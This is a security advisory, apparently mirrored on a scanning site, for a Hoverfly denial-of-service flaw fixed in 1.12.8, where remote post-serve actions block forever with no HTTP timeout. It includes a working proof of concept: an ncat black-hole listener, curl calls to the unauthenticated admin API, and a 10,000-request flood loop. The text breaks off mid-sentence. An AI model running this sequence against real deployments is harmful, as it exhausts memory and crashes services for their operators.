| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| github.com/SpectoLabs/hoverfly | < 1.12.8 | 1.12.8 |
Remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.
1. Remote actions executed in goroutines without timeout (core/hoverfly.go:224-228):
go postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)
Post-serve actions are executed in separate goroutines with no recovery wrapper.
2. HTTP client has no timeout (core/action/action.go:128-143):
req, err := http.NewRequest("POST", action.Remote, bytes.NewBuffer(pairViewBytes))
// ...
resp, err := http.DefaultClient.Do(req) // No timeout! Blocks forever.
http.DefaultClient has zero timeout by default in Go. If the remote server:
...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.
3. No goroutine limit or backpressure:
There is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.
4. The goroutine is never cleaned up:
The only exit path from Execute() is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.
Step 1: Start a black-hole TCP listener (accepts connections, never responds)
# Option A: Use ncat
ncat -l -k 9999 &
# Option B: Use a non-routable IP (connections hang at TCP SYN)
# 192.0.2.1 is TEST-NET-1, guaranteed non-routable
# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíStep 2: Register remote post-serve action pointing to the black hole
curl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \
-H "Content-Type: application/json" \
-d '{
"actionName": "leak",
"remote": "http://192.0.2.1:9999/blackhole",
"delayInMs": 0
}'
Step 3: Load a catch-all simulation
curl -X PUT http://localhost:8888/api/v2/simulation \
-H "Content-Type: application/json" \
-d '{
"data": {
"pairs": [{
"request": {"path": [{"matcher": "glob", "value": "*"}]},
"response": {"status": 200, "body": "ok", "postServeAction": "leak"}
}],
"globalActions": {"delays": [], "delaysLogNormal": []}
},
"meta": {"schemaVersion": "v5.2"}
}'
Step 4: Flood with requests
# Each request spawns an immortal goroutine
for i in $(seq 1 10000); do
curl -s -x http://localhost:8500 "http://target.com/req${i}" &
# Throttle to avoid local FD exhaustion
[ $((i % 100)) -eq 0 ] && wait
done
Verified memory impact on Hoverfly v1.12.7:
Memory before: 20,064 KB
Memory after 50 requests: 23,376 KB
Memory increase: 3,312 KB (66 KB per goroutine)
At this rate:
An attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by: